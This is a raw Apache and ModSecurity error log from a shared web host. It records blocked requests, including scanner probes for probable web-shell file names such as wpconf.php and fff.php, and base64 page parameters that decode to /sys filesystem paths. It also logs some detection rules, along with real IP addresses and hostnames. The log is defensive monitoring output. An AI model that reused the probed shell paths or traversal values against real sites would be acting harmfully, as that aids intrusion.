2026] [access_compat:error] [pid 531155:tid 531282] [remote 74.7.241.11:37794] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2lucHV0Ni9tb3VzZTIvc3Vic3lzdGVtL21vdXNlMS9zdWJzeXN0ZW0vZXZlbnQxL3Bvd2Vy [Sat Jun 13 18:10:01.944760 2026] [access_compat:error] [pid 531155:tid 531282] [remote 74.7.241.11:37794] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2lucHV0Ni9tb3VzZTIvc3Vic3lzdGVtL21vdXNlMS9zdWJzeXN0ZW0vZXZlbnQxL3Bvd2Vy [Sat Jun 13 18:10:02.187716 2026] [access_compat:error] [pid 531797:tid 531906] [remote 57.141.14.84:41662] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:10:02.187993 2026] [access_compat:error] [pid 531797:tid 531906] [remote 57.141.14.84:41662] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:10:02.291078 2026] [security2:error] [pid 531797:tid 531928] [remote 17.246.19.176:0] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 176.19.246.17.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "torquayfans.com"] [uri "/viewtopic.php"] [unique_id "ai3xWsTA7b1mZrmcA-8gxAACdUA"] [Sat Jun 13 18:10:02.328977 2026] [security2:error] [pid 531797:tid 532064] [client 20.151.217.54:24001] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 54.217.151.20.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "cpanel.appludi.com"] [uri "/wpconf.php"] [unique_id "ai3xWsTA7b1mZrmcA-8gxwAAAlY"] [Sat Jun 13 18:10:02.483195 2026] [access_compat:error] [pid 531797:tid 531974] [remote 57.141.14.62:27708] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:10:02.483527 2026] [access_compat:error] [pid 531797:tid 531974] [remote 57.141.14.62:27708] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:10:02.509406 2026] [security2:error] [pid 531797:tid 532083] [client 191.234.188.123:63886] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 123.188.234.191.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "webmail.onemontgomerygreen.org"] [uri "/xslclbn.php"] [unique_id "ai3xWsTA7b1mZrmcA-8gzgAAAmk"] [Sat Jun 13 18:10:02.554533 2026] [access_compat:error] [pid 531155:tid 531240] [remote 74.7.241.11:37794] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2lucHV0MS9zdWJzeXN0ZW0vaW5wdXQyL3N1YnN5c3RlbS9ldmVudDYvcG93ZXI= [Sat Jun 13 18:10:02.554826 2026] [access_compat:error] [pid 531155:tid 531240] [remote 74.7.241.11:37794] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2lucHV0MS9zdWJzeXN0ZW0vaW5wdXQyL3N1YnN5c3RlbS9ldmVudDYvcG93ZXI= [Sat Jun 13 18:10:02.702185 2026] [access_compat:error] [pid 531797:tid 531953] [remote 57.141.14.56:60890] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:10:02.702634 2026] [access_compat:error] [pid 531797:tid 531953] [remote 57.141.14.56:60890] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:10:02.801962 2026] [security2:error] [pid 531155:tid 531310] [client 20.151.217.54:24000] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 54.217.151.20.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "cpanel.appludi.com"] [uri "/Ov-Simple1.php"] [unique_id "ai3xWimiP80klyS0Nnr1XQAAASM"] [Sat Jun 13 18:10:02.910386 2026] [security2:error] [pid 531797:tid 531977] [remote 17.246.23.9:0] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 9.23.246.17.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "torquayfans.com"] [uri "/viewtopic.php"] [unique_id "ai3xWsTA7b1mZrmcA-8g3QACHHA"] [Sat Jun 13 18:10:02.934925 2026] [access_compat:error] [pid 531797:tid 531989] [remote 74.7.242.16:57868] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4, referer: https://www.homs.co.ke/?p=L3N5cy9tb2R1bGU= [Sat Jun 13 18:10:02.935367 2026] [access_compat:error] [pid 531797:tid 531989] [remote 74.7.242.16:57868] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3, referer: https://www.homs.co.ke/?p=L3N5cy9tb2R1bGU= [Sat Jun 13 18:10:03.080737 2026] [access_compat:error] [pid 531155:tid 531188] [remote 74.7.241.11:37794] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2lucHV0NC9zdWJzeXN0ZW0vaW5wdXQyL2lucHV0Mjo6c2Nyb2xsbG9jay9kZXZpY2UvZGV2aWNl [Sat Jun 13 18:10:03.081153 2026] [access_compat:error] [pid 531155:tid 531188] [remote 74.7.241.11:37794] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2lucHV0NC9zdWJzeXN0ZW0vaW5wdXQyL2lucHV0Mjo6c2Nyb2xsbG9jay9kZXZpY2UvZGV2aWNl [Sat Jun 13 18:10:03.125422 2026] [security2:error] [pid 531797:tid 532051] [client 20.151.217.54:40146] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 54.217.151.20.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "webmail.gkmasterson.com"] [uri "/fix.php"] [unique_id "ai3xW8TA7b1mZrmcA-8g5gAAAkk"] [Sat Jun 13 18:10:03.572594 2026] [security2:error] [pid 531797:tid 532047] [client 191.234.188.123:20662] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 123.188.234.191.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "webdisk.ameritekwater.com"] [uri "/re.php"] [unique_id "ai3xW8TA7b1mZrmcA-8g9AAAAkU"] [Sat Jun 13 18:10:03.575414 2026] [security2:error] [pid 531797:tid 532068] [client 20.151.217.54:24027] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 54.217.151.20.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "cpanel.appludi.com"] [uri "/atomlib.php"] [unique_id "ai3xW8TA7b1mZrmcA-8g9QAAAlo"] [Sat Jun 13 18:10:03.616812 2026] [access_compat:error] [pid 531155:tid 531255] [remote 74.7.241.11:37794] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2lucHV0Ny9zdWJzeXN0ZW0vZXZlbnQwL3N1YnN5c3RlbS9pbnB1dDEvZGV2aWNlL3Bvd2Vy [Sat Jun 13 18:10:03.617254 2026] [access_compat:error] [pid 531155:tid 531255] [remote 74.7.241.11:37794] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2lucHV0Ny9zdWJzeXN0ZW0vZXZlbnQwL3N1YnN5c3RlbS9pbnB1dDEvZGV2aWNlL3Bvd2Vy [Sat Jun 13 18:10:03.624964 2026] [access_compat:error] [pid 531797:tid 531901] [remote 57.141.14.14:40082] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:10:03.625403 2026] [access_compat:error] [pid 531797:tid 531901] [remote 57.141.14.14:40082] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:10:03.642918 2026] [security2:error] [pid 531797:tid 532107] [client 20.151.217.54:46259] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 54.217.151.20.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "mail.opryidaho.dennis-cooper.com"] [uri "/fff.php"] [unique_id "ai3xW8TA7b1mZrmcA-8g-gAAAoA"] [Sat Jun 13 18:10:03.795142 2026] [access_compat:error] [pid 531797:tid 531880] [remote 74.7.242.16:57868] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4, referer: https://www.homs.co.ke/?p=L3N5cy9tb2R1bGU= [Sat Jun 13 18:10:03.795472 2026] [access_compat:error] [pid 531797:tid 531880] [remote 74.7.242.16:57868] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3, referer: https://www.homs.co.ke/?p=L3N5cy9tb2R1bGU= [Sat Jun 13 18:10:03.901540 2026] [security2:error] [pid 531797:tid 531957] [remote 17.22.245.244:0] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 244.245.22.17.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "torquayfans.com"] [uri "/viewtopic.php"] [unique_id "ai3xW8TA7b1mZrmcA-8hBwACOl0"] [Sat Jun 13 18:10:04.029375 2026] [access_compat:error] [pid 531797:tid 531911] [remote 57.141.14.97:33656] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:10:04.029673 2026] [access_compat:error] [pid 531797:tid 531911] [remote 57.141.14.97:33656] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:10:04.091514 2026] [access_compat:error] [pid 531155:tid 531233] [remote 74.7.241.11:37794] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL21vdXNlMC9kZXZpY2Uvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvcG93ZXI= [Sat Jun 13 18:10:04.091969 2026] [access_compat:error] [pid 531155:tid 531233] [remote 74.7.241.11:37794] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL21vdXNlMC9kZXZpY2Uvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvcG93ZXI= [Sat Jun 13 18:10:04.099776 2026] [security2:error] [pid 531797:tid 531981] [remote 17.241.75.164:0] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 164.75.241.17.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "torquayfans.com"] [uri "/viewtopic.php"] [unique_id "ai3xXMTA7b1mZrmcA-8hEAACN3Q"] [Sat Jun 13 18:10:04.146768 2026] [security2:error] [pid 531797:tid 532098] [client 191.234.188.123:47702] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 123.188.234.191.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "webmail.onemontgomerygreen.org"] [uri "/jj.php"] [unique_id "ai3xXMTA7b1mZrmcA-8hEgAAAnc"] [Sat Jun 13 18:10:04.248072 2026] [access_compat:error] [pid 531797:tid 531950] [remote 57.141.14.9:21952] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:10:04.248353 2026] [access_compat:error] [pid 531797:tid 531950] [remote 57.141.14.9:21952] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:10:04.368569 2026] [access_compat:error] [pid 531797:tid 531923] [remote 57.141.14.84:41670] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:10:04.368874 2026] [access_compat:error] [pid 531797:tid 531923] [remote 57.141.14.84:41670] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:10:04.500353 2026] [security2:error] [pid 531797:tid 531973] [remote 92.233.118.22:0] ModSecurity: Warning. Pattern match "/(contact(o|.?us)?|wp-comments-post|(send)?.?(form.)?e?mail(er)?|memberlist|send|contact.form(.handler)?|thankyou|leafmailer[0-9.]*)\\\\.php" at REQUEST_URI. [file "/opt/mod_security/hg_rules.conf"] [line "1546"] [id "900923"] [msg "contact form logging"] [hostname "www.torquayfans.com"] [uri "/memberlist.php"] [unique_id "ai3xXMTA7b1mZrmcA-8hHgACYGw"], referer: https://www.torquayfans.com [Sat Jun 13 18:10:04.500383 2026] [security2:error] [pid 531797:tid 531973] [remote 92.233.118.22:0] ModSecurity: Access denied with code 409 (phase 2). Match of "eq 1" against "&REQUEST_COOKIES:humans_21909" required. [file "/opt/mod_security/hg_rules.conf"] [line "1552"] [id "900424"] [msg "Transparent Bot Detection for Contact Forms"] [hostname "www.torquayfans.com"] [uri "/memberlist.php"] [unique_id "ai3xXMTA7b1mZrmcA-8hHgACYGw"], referer: https://www.torquayfans.com [Sat Jun 13 18:10:04.531906 2026] [security2:error] [pid 531797:tid 531888] [remote 17.246.23.11:0] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 11.23.246.17.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "torquayfans.com"] [uri "/viewtopic.php"] [unique_id "ai3xXMTA7b1mZrmcA-8hJAACLBg"] [Sat Jun 13 18:10:04.578379 2026] [access_compat:error] [pid 531155:tid 531189] [remote 74.7.241.11:37794] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL21pY2Uvc3Vic3lzdGVtL2lucHV0NS9tb3VzZTAvZGV2aWNlL2RldmljZS9wb3dlcg== [Sat Jun 13 18:10:04.578830 2026] [access_compat:error] [pid 531155:tid 531189] [remote 74.7.241.11:37794] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL21pY2Uvc3Vic3lzdGVtL2lucHV0NS9tb3VzZTAvZGV2aWNlL2RldmljZS9wb3dlcg== [Sat Jun 13 18:10:04.686586 2026] [access_compat:error] [pid 531797:tid 531886] [remote 74.7.242.16:57868] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4, referer: https://www.homs.co.ke/?p=L3N5cy9tb2R1bGU= [Sat Jun 13 18:10:04.687042 2026] [access_compat:error] [pid 531797:tid 531886] [remote 74.7.242.16:57868] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3, referer: https://www.homs.co.ke/?p=L3N5cy9tb2R1bGU= [Sat Jun 13 18:10:04.689029 2026] [access_compat:error] [pid 531155:tid 531217] [remote 57.141.14.21:33937] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:10:04.689479 2026] [access_compat:error] [pid 531155:tid 531217] [remote 57.141.14.21:33937] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:10:04.724381 2026] [security2:error] [pid 531155:tid 531316] [client 20.151.217.54:64122] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 54.217.151.20.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "cpanel.appludi.com"] [uri "/loxico93.php"] [unique_id "ai3xXCmiP80klyS0Nnr1fgAAASk"] [Sat Jun 13 18:10:04.850480 2026] [access_compat:error] [pid 531155:tid 531177] [remote 57.141.14.102:28511] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:10:04.850784 2026] [access_compat:error] [pid 531155:tid 531177] [remote 57.141.14.102:28511] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:10:04.940842 2026] [security2:error] [pid 531797:tid 532060] [client 172.171.3.232:15812] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 232.3.171.172.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "cpcalendars.mlvt-dsc.info"] [uri "/wpconf.php"] [unique_id "ai3xXMTA7b1mZrmcA-8hMgAAAlI"] [Sat Jun 13 18:10:04.954410 2026] [security2:error] [pid 531155:tid 531325] [client 20.151.217.54:40207] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 54.217.151.20.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "webmail.gkmasterson.com"] [uri "/htto.php"] [unique_id "ai3xXCmiP80klyS0Nnr1gwAAATI"] [Sat Jun 13 18:10:05.051052 2026] [access_compat:error] [pid 531797:tid 531965] [remote 57.141.14.94:44490] 